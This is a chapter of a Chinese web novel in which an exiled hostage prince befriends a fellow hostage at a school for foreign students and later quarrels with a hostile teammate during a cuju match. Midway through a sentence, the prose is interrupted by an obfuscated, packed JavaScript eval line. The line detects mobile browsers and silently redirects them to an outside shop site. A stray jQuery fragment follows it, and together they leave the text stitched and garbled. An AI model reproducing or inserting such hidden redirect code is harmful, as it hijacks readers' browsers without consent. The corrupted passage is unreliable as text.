“所以馆舍只有克莱安人和洹国人吗?”
刚到鸿雁馆舍第二天的霍络佐撑着腮向译官问道。
“回少王,不是的,克莱安与洹国占了七成的学子,其余,都是别的地方的。”译官答道。
霍络佐点了点头:“哦哦,那别的地方的人也挺多的啊。”他写着字,随口一说:“不过应该没有像我一样落单的了吧。”
“也是有的,少王。”译官道。
“哦?还有几个呀?多大呀?哪里的人呀?”
鸿雁馆舍这样聚集各国学子的地方,肯定会有已经形成的非常坚固的小团体,他单枪匹马、又语言不通,很难去打交道,所以就要从同样落单的人开始交友。
可惜与他同龄的落单者,只有一人。
入馆第三天。馆舍西院塾堂。
霍络佐侧首瞟了瞟坐在他右手边那个字案的人。
这个人,有着一头直顺的纯黑色短发,不像烔格或言阊人都留长发,他的短到只能在发尾扎一个小鬏。他肤色是很有光泽的淡棕色,此时乖巧地穿着青色的言阊宽袖袍,衣服很是整齐,若说装扮上有什么异域的痕迹,那应该只有他左手腕上戴着的银质花样手环了,环上镶了三颗拇指甲盖大的,晶莹剔透的黄色宝石。
小塾堂只有五个塾徒,格外清冷。他的语言水平暂时难和别的学子放在一起,除了一对一的时间,吏官就勉强给他塞进了一个人少安静的塾堂,让他凑合听听,感受环境。
他听不懂,但幸运的是刚好就遇到这位译者所说的落单者,也是现在馆舍内养着的一名质子之一。
同是质子,共同点又多了一个嘛。
这个人,完全听得懂先生讲的书,也会写言阊字,拿毛笔的手法看起来已经颇为娴熟。他认真听课,认真记笔记,先生问他问题,他认真回答。但如此认真之余,霍络佐还是感受到他悄悄往左边看了好多下。
肯定也听说他是新来的质子了。有好奇心,说明有交流的意愿!
先生教起了新的成语,让大家都拿起笔写,霍络佐很不小心地碰翻了挂笔的架子,几支全都滚到了右边的字案下,这个人见状,没有觉得烦躁,认真耐心拾起了所有的笔,礼貌地交还给了他。
乐于助人的性格!太好了。
接下来的半个月里,鸿雁馆舍的吏官们观察到,那个语言不通、讲话都卡结巴的烔格王子,对北卫芮国的那位性格内敛乖顺的吉诃朱诃公子竟然开启了.....死缠烂打式的交友攻击,这令吃瓜看戏的言阊大人们不得不大为惊叹,匪夷所思,他们从没见过这般场面,如兔子一般乖巧的吉诃朱诃公子更从没遇见过这般场面。
上课他十分钦佩地请教他怎么写好毛笔字,下课他热情地追着他送他烔格的胡桃坚果吃,休闲时他不断地约他去书馆、望日湖聊天,好奇地向他了解北卫芮国的文化风情。还有,烔格王子言阊语都听不太懂,几天内竟又快速地学了好几句卫芮语,天天见面就结结巴巴地和吉诃朱诃公子亲切地打招呼。
教书先生都觉得离谱。
吉诃朱诃哪里见过这样的场面。
他来言阊已经两年,除了和鸿雁馆舍给他分配的译官说家乡话,聊一点家乡小事,别的没有机会。乍然来了一个小朋友如此热情交流,他一开始非常不习惯,但最终当然是无法拒绝,就这样稀里糊涂地和烔格的王子‘好上了’。
起初他还有点害怕,他不知道与别的质子交往是否是被允许的,他甚至悄悄地去问过住在馆舍的马宵将军。将军没说什么,他才敢接受霍络佐烔亚那源源不断的热情邀请。
包括他到霍络佐的寝间里吃饭,霍络佐到他的寝间里吃饭,甚至今年的上元节灯会,都是他俩结伴出去逛的。
就这样,二月初,为了晚上聊天更方便,霍络佐的寝间就直接搬到了吉诃朱诃的隔壁。
霍络佐学语言是有天赋。基本上字看一遍就会,写一遍就不忘,语法一点就通,一通就会用。吉诃朱诃知道他本来就有点基础,但这速度还是很惊人,三月初,他俩就无障碍交流了,先生讲课他都能听懂了。
三月的一天,午时用膳。
“我刚才路过东院听到一帮洹族学子说,他们先生给他们透露了消息,这个月一定会办一场蹴鞠赛。”吉诃朱诃夹着菜说。
“蹴鞠赛?”霍络佐疑问。
吉诃朱诃简单地跟他讲了一下过往鸿雁馆舍办蹴鞠赛的传统。主事大人每次都会请来有名的圆社艺人做教头。每个人都得参加,抽签匹配队伍,匹配后,教头会帮馆舍吏官再稍作调剂,确保每个队尽量力量一致,之后训练三天,比赛两天半,晚上再来一场庆祝宴,演‘圆社市语’给大家看。
“蹴鞠有什么好玩的….”霍络佐嘟囔着。
吉诃朱诃见他似乎并没有很兴奋,道:“对哦,霍络佐,我几乎没见你在楼下认真玩过蹴鞠,你不感兴趣吗?”
霍络佐点头道:“几个人追着球跑有什么意思?打马球才有意思呀,骑马,挥杆,讲究很多技巧。”
吉诃朱诃笑道:“嗯,打马球也好玩,可是你还得等三年呢,我也得等一年,馆舍这里规定十五岁才可以开始打马球。”
霍络佐不屑道:“这个规定太多余了,我在烔格早就玩过打马球了。”
吉诃朱诃耸耸肩:“没办法的,馆舍大人会担心学子的安危,打马球比蹴鞠危险。”
确实如此。不仅是打马球,很多东西出于安全考虑,都有设一些禁例。一堆男孩子在这儿,大家却没有玩箭的地方,连玩木剑的地方都没有。
最受欢迎的活动就是蹴鞠,其次是捶丸,然后就是一些小的跳绳啊踢键子啊之类的。若是想在望日湖上划船,得叫水手来在旁边看着才能划,虽然其实望日湖挺浅的。
“诶,那你去年参加比赛,感觉怎么样?”霍络佐问。
“还蛮有意思的。”吉诃朱诃道,“就是很热闹,有过节的感觉,吃的喝的都很多,不用上课,庆祝宴还有表演看。”
霍络佐撑着腮帮子,道:“那听起来挺爽的。”
吉诃朱诃点点头:“嗯!就是分配队伍这个事可能会有小尴尬。去年我说话没那么流利,队友也有人说话不流利,反正就是稀里糊涂地配合,很快就被淘汰了哈哈。我们队的人都很腼腆,经常尴尬,但那几天玩得很开心。你看我每次路过打招呼的那些人,基本上都是去年蹴鞠赛球队里认识的。”
霍络佐道:“哦哦,那不错诶。”
吉诃朱诃又道:“但是呢,有的球队就不太友好,他们太想赢了,队内总是吵架。我还是希望这次分配的队伍能放松一点,不要那么好胜。”
霍络佐点点头:“我也希望。”
吉诃朱诃笑道:“如果咱俩被分到一起,那就最好啦!霍络佐,有你跟我结伴,我也不会那么尴尬了。”
霍络佐也点头笑了笑。
吉诃朱诃三月中旬才后知后觉地意识到,为什么霍络佐烔亚那天最后笑得那么尴尬。
霍络佐完全不会踢球!
他不是第一次接触蹴鞠,但他真的是一个不会踢球的人,球一朝他滚,他的脚步就慌乱,一慌乱就开始左脚绊右脚,他整场都在踉踉跄跄,趔趔趄趄,磕磕绊绊。吉诃朱诃每次看都觉得让霍络佐玩蹴鞠是一件很残忍的事,他每次旁观霍络佐他们那队练球,都捏一把汗,总觉得他下一秒就要崴脚了。
三天教学训练下来,他还没有严重崴脚,真是一个奇迹。
“我现在知道你为什么不喜欢蹴鞠了.....”吉诃朱诃无奈道。
霍络佐趴在桌子上,累得半死。
“你得庆幸没和我分到一队,我太差了。”霍络佐道。
吉诃朱诃立即摇摇头笑了笑:“哪有呀?我又不在乎输赢,我踢得也不是很好,纯粹玩而已。”
吉诃朱诃如自己所愿,今年还是被分到了一个友好轻松的团队,且有不少还是他去年就一起踢过球的队友。霍络佐,一如既往地运气极差,被分到了一个天天怒喊要赢决赛的球队。
他不想拖后腿,便问大人能不能给他换个队,大人请求地说尽量别,一人换,就有一堆人要换。
行吧,他就参加每一场他们球队的自主加练。每天下午在大太阳下晒得通红,羡慕地望着在阴凉亭里喝凉茶的吉诃朱诃。
终于,四天的过度日结束后,总算迎来了蹴鞠比赛。
一大早,就有敲锣鼓的助兴表演,蹴鞠场旁边排了一排编钟,还有乐手吹筦籥。看台亭里的桌子上有一堆好吃的酥饼和果子,馆舍学子们叽叽喳喳在那儿聊天,酥饼渣子掉了满地。馆舍吏官们忙碌地满场子跑,确保一切按部就班不出差子。确实很热闹,如节日一般。
阳光十足,有风,天气不算太热,很适合这样的活动。
比赛顺序都是抽签安排好的,今天赢下来的球队,今天结束前再次抽签,安排明天的对决,明天也同样,然后比到第三天的上午,便是最终的决赛。
“也就是说要是今天输了,后面两天就可以一直悠闲地在这儿吃果子看赛聊天??唉......”霍络佐叹了一声。
已经输了的吉诃朱诃休闲地靠在座位上,剥了一个砂糖橘,递给他一瓣,悄声安慰他说:“别急呀,我看你的队友们这段时间练得实在太累,太消耗体力,其实今天反而不一定能赢了。”
霍络佐摇摇头笑道:“哎呀,那也不是这样,我希望他们赢的。”
这种时候言阊的老天爷反而如他所愿了,真的让他的球队一路赢到了第三天的上午。
第三天的早上,吉诃朱诃看到霍络佐时,觉得他已经累得如同行尸走肉一般。
他们队确实狠,第一天踢了一场,第二天踢了两场,其实总共才踢了三场球而已,但是这两天他们每天都还加练,队里的那个小领头一刻都不愿停歇,两天都是吏官大人发话了,天黑了才劝回去休息。
吉诃朱诃还发现霍络佐也是个倔强的性子,明明踢得一塌糊涂...却偏还不愿意摆烂,可能也是因为他不想当那个拖后腿的人,便每场加练都去,即便他们队也不是每场加练人都到齐。
“你昨晚不是很早就睡了吗?”吉诃朱诃忧心地问他。
“是....我算了,我睡了五个时辰。”霍络佐叹气道:“还是好累,肌肉好痛,我今早都不想起来。”
吉诃朱诃也叹了一声气道:“霍络佐,其实,你随便编个借口,哪儿不舒服什么的,咱们跟文大人说一声,你今天就开开心心在看台上跟我一起吃橘子了。”
他还透露道:“还有,凌晨的时候马宵将军也有来过,他说要是你待会儿犯困起不来,太累的话,就不要叫你,让你继续睡,比赛那边他会找好替补。等你醒了咱俩直接去看赛就好。”
霍络佐愣道:“还有这样?”
“嗯,你最近确实运动太多了啊。”吉诃朱诃点头。
霍络佐沉默了一会儿,然后撇嘴道:“太小看我了...我怎么可能起不来。”
吉诃朱诃笑着,“霍络佐啊......”
他俩一起往蹴鞠场那边走,吉诃朱诃忽然又想起一件事,悄声道:“哦哦还有,要跟你说个八卦。”
“什么?”霍络佐问。
吉诃朱诃道:“天瀚军归朝了。”
霍络佐道:“哦?什么时候的事?”
吉诃朱诃道:“我是昨晚听说的,那时候你睡了。我的译者说,他们已经回金都很多天了。”
这几天的时间都被蹴鞠占满,霍络佐也没空了解外面的事,没想到天瀚军就在这段时间回来了。自去年停战,天瀚军就一直留在庵州和善后局一起处理事情,准确的说,是领着善后局处理事情,现在过了小半年,也差不多该回朝了,倒也没什么意外。
烈日当空,蹴鞠场上,学子们挥汗如雨。
霍络佐作为一个蹴鞠一塌糊涂的人,在比赛中非常有自知之明,他在教学训练的时候就跟队友们说好了,不胡乱抢球踢球,只尽力做好辅助工作,比如充当一个人墙拦住对方。他也能确保自己不挡事不碍事,不给队友添麻烦。这段时间加练,也只是在训练这些团队配合而已,想长进球技是不可能的,但至少配合的事情能做好,就问心无愧嘛。
能赢到现在他也挺欣慰的,可惜的是,今天一开场,两个主力就受伤了。
比赛暂停了一会儿,他们队的小领头与蹴鞠教头和馆舍大人商量了一下,叫了他平时的两个好死党替补上阵,两人正好年龄个头也差不多合适,比赛才继续开始。
他这双脚真的太不灵活,霍络佐从小就觉得它们是一对离婚的夫妻,爱恨交加不断地为难纠缠彼此……除了跳舞很少打架,任何跑起来的运动它们都会在慌乱中打架,而他就是受害者。
他帮忙拦着对方的人,不让他们上前和队友抢球,转个眼,球又从上空飞到了对方这儿,他上前肯定抢不过,便往旁边移,给队友让道。
一人冲到了前面去,他在侧边小跑跟着,突然,被人从后面猛地一撞,啪!一下子,往前扑在了地上。
撞他的人已经冲去了前面,一身蓝色衣,正是他自己的队员。
场外的蹴鞠社司摇起手心里挂着的一串铃铛,大喊停赛。
霍络佐爬起来,手上擦了些杂草和泥。
周围迅速围过来一圈馆舍吏官,他抬头向吏官们道:“还好,没事。”
那个撞他的队友被叫了过来。高他半个头,看起来比他大,盘着言阊式的发髻,是个克莱安学子,正是刚上场的替补。
“不小心碰了一下。他挡道了。”这位克莱安学子说。
霍络佐皱了皱眉,不悦:“嗯?我有挡道吗?”
上来竟一句道歉都没有,而他明明跑在最旁边,场子那么大,挡道?胡扯嘛。
“有的,王子。”这位克莱安学子抬头又向文大人道:“既是蹴鞠,难免碰碰撞撞也很正常,如果担心受伤,不如让他先下去休息吧?”
这倒有意思了。霍络佐转头对文大人笑笑:“如果我的队友能注意蹴球的品德,就不会有不必要的碰碰撞撞。”
这位学子停顿了一下,似是没料到他已经能说这种反驳的话,片刻后才道:“王子这话是什么意思啊?”他大声嚷着:“竞技本就有受伤的风险,我为比赛全力以赴,不小心碰了王子,王子就要说我品德低下??”
文大人这下立刻严肃道:“弗利马少爷,不要在这儿给我起争吵。”
“嗯。你要证明自己品德不低下,道个歉不就行了。”霍络佐笑着说。
文大人立刻对弗利马道:“快道歉。”
这位弗利马翻了个大白眼,然后才说:“对,不起,我蹴鞠不小心碰着烔格王子了,让王子摔了一跤,我属实过意不去。蹴鞠危险,王子您不如早点下场歇息吧。”
文大人瞪了一眼阴阳怪气的弗利马,然后转头对霍络佐语气关心地说:“霍络佐王子,您方才险些受伤,要不先在场下休息片刻,待会儿再上场。”
霍络佐盯着这个弗利马少爷,道:“没必要。”
他转身回到场上了。
弗利马朝文佐使说:“他自己不下场休息,不关我事啊。”然后也跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604548|205697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回了场上。
比赛再次开始。
鞠球落在了球门前面一点儿,正是最激烈的时候,一帮队友上一秒还围在对方的球门那儿,此刻急忙又往自己的球门这儿赶回来。只有少许队友守着球门,霍络佐帮忙拦着守着,待蓝衣服的友军赶回来后,他才往旁边挪,往后退。
他抽身退出来了,结果,竟又被一人从身后啪!地一下,猛地撞向前。
这次还和对方队的一个孩子撞到了一起,险些撞到头,两人双双坐到了地上。
场外的蹴鞠社司再次摇起手心里挂着的一串铃铛,大喊停赛。
两个人互相搭把手扶着站起来,馆舍吏官忧心地围了过来,这回连马宵将军都走过来了。
“弗利马!你怎么回事?!”文佐使这回真的怒了。
“对不起。”弗利马少爷这回倒先道歉了,“对不起。可是刚刚比赛有多激烈,大人你又不是没有看到,都到关键点了,碰碰撞撞本就是家常便饭啊,大人,这是蹴鞠诶大人。”
弗利马的死党,蓝衣服队的小队长,已经走了过来,从身后拍了一下他,皱眉摇头。
“蹴鞠你也得多注意!控制自己!不该老是撞别的小朋友!”文佐使手指摇摇晃晃地指着他,他气得不止一点儿。
“那我要怎么为比赛全力以赴?干脆不比得了。我刚刚不就劝王子殿下去休息,我也怕他受伤啊,他不干我有什么办法。”弗利马一摊手,反倒委屈了起来。
“你.....”文佐使给他气得说不上话,他最烦的就是这些叛逆学子,此刻心火都烧到了嗓子里。
马宵代替了文佐使被堵住的嗓子,皱眉斥责道:“少爷何必把自己伤人的过错推到受害者身上?这本是馆舍里的友谊玩乐之赛,再怎么想赢球也该把同伴的安全放在第一位,你们教头都讲过。在赛中弄伤别的同伴,是没有理的。”
弗利马自然不知道马宵是哪儿来的侍卫,只道:“啊?他伤着了吗?也没有吧?小碰一下而已他又不会碎。我当然知道是友谊玩乐之赛啊,正因如此我才没有真使出全力,我很控制了!所以他不也就跌了一跤而已,没事的吧?哦,还是说烔格人身子比较娇弱?反正,我是真心觉得,如果烔格王子不擅长蹴鞠,还是早些下场多休息比较好,这种运动本来就有点风险的,他对自己的技术该有点自知之明,别太犟,毕竟刚刚也有两个同伴都崴到脚了呢。”
文佐使气得血压飙升。马宵瞪了这小孩一眼,转身要去扶霍络佐,说:“王子,您先随外臣来,休息一下,让医师来看一眼。”
霍络佐则挪开了一小步,拒绝了马将军的搀扶。
他双臂交叉抱在身前,嘴角一笑,看向文佐使和马宵将军,道:“哈?搞了半天,你们教训了他几句,最后还是要我下场。不是他恶意撞人有问题吗?文大人、马将军,原来我看起来像个很好说话的人吗?”霍络佐眼神转向弗利马,“你们让他滚啊。”
文佐使、马宵,呆在原地。
围着的一圈大人和小孩都呆在原地。
弗利马反应过来,气愤地要冲上前:“你说什么?!”
“诶诶诶......”一群手臂伸向前,慌忙地拽着他拦住他。
弗利马突然被骂了一句,太过意料之外,顿时气得想要教训对方。霍络佐不退,就站在他面前,悠悠地道:“诶,他爹是克莱安大商还是言阊朝中的客卿啊?反正应该不是克莱安的国王吧,但他好像没认清楚诶,不然怎么觉得自己还能骑在我头上了。等等,他这是要干嘛?打架吗?他怎么胆子这么大啊?居然想打停战质子,不会是,克莱安来的客卿也想干涉言阊的边境战事了吧?啊,我记得,好像啊,具体不太清楚,但是上次胡乱干涉战事的一帮军人最后应该是被满门抄斩了诶。他这,他这样会不会,那个词叫什么…覆车继轨,就是跟那帮军人一样全家都被......”
“别说,别说这个王子...别闹出事了......”文佐使焦头烂额地拽着气头上来的弗利马少爷。
“嗯嗯,我当然不希望出事,就是有一点担心,毕竟,文大人,你看他的脸长得那么不友善....”
“你!!”弗利马更愤怒了,就是要挣脱那好多只拦着他的手,“你脸上跟被鸟啄了似的,长得好到哪里去啊!一个战败国的质子就是个拴着脖子的鹅居然还嚣张起来了唔唔唔唔——”周围又伸过来一堆手急忙死死捂住他的嘴。
“啧啧,他应该好歹是个大家少爷吧?怎么在鸿雁馆舍学了许久,脑子还学成一团浆糊了。不如我来教教他。”
霍络佐如今说大长段的话,依旧夹杂着浓重的外来口音,但话本身却还算流利,他笑了笑,唤道:“弗利马?弗利马小朋友,你知道小牧场那边拴脖子的鹅有多凶吗?鹅毕竟天性凶猛,每次喂饲料的小奴仆手伸过去,都会挨好几下咬,但是小奴仆们一点都不敢还手,因为他们知道大白鹅都是重要的人养的,他们惹不起,所以他们只能耐心有爱地照顾大白鹅。弗利马,你要多像馆舍里的奴仆们学习哦,不能只在塾堂里读书,等下读傻了。”
文佐使:“......”
马将军:“......”
“不如这样,因为弗利马少爷的脑子跟别的学子比起来,确实有点缺乏智慧与知识,所以多安排一项课外学习的活动会更适合他,文大人,我的建议是让他每天早上,去当那些奴仆们的小跟班,一起去喂一喂大白鹅,这样他就能全面发展了。”
“你...!!你....!!!”弗利马全脸怒红,血液全都冲上了脑子,就差头上冒烟了。
“啊,当然,也可以安排他从各种方向学习,这样他低下的脑子可能能更容易理解。文大人,不如你让弗利马去小牧场里当一天的鹅,也拴个脖子在那儿,等着小奴仆们来喂他。他可以尝试去咬一咬别人,看看别人会不会还手,如此,他就能更近距离地观察和学习小奴仆们身上的品德了。弗利马这么喜欢干伤人的事,想来也很容易就能像狗狗一样去咬别人。”
文大人马将军目瞪口呆。
弗利马气得在发狂的边缘,脸部变形。
“弗利马你冷静点…!”旁边一群人死死地拽着弗利马的衣服和胳膊。
霍络佐见状忧心道:“啊,不好了,快!马将军,快先把他扶下场,请医师来看一眼,不然等下他气晕倒了就不好了。弗利马好像不太擅长控制情绪,他脸都红成这样,太恐怖了,我好担心他啊,还是让他早些下场歇息吧!我们继续踢。”
马将军:“......”
文佐使:“......”
围着的一圈人:“......”
“你他妈——我跟你拼了!!”弗利马大吼,紧接着喷出一连串听不懂的克莱安语,应该是在破口大骂。
“停赛!停赛!”蹴鞠社司突然插进了围着的一圈人群里,摇着手里的铃铛,“停赛了…全部,全部下场。”
弗利马依旧怒火中烧地喘着大气,他身边的伙伴都拽着他,害怕他扑向前。
霍络佐叉着手臂,颇为满意地看着他此时的样子,却见所有人忽然都抬眼朝后面望去。
弗利马眼里的怒火一下就跟被浇了一盆水一样,被扑灭了,睁大眼发呆。
霍络佐愣了一瞬。
然后他就听见从他身后传过来一个久违的,熟悉的声音。
“你话说这么溜了?”
霍络佐第一次感受到身体石化是什么感觉。
血都凝住了,鸡皮疙瘩爬了满身,他猛地转过身去。
楚洬溟也叉着手臂,看着他。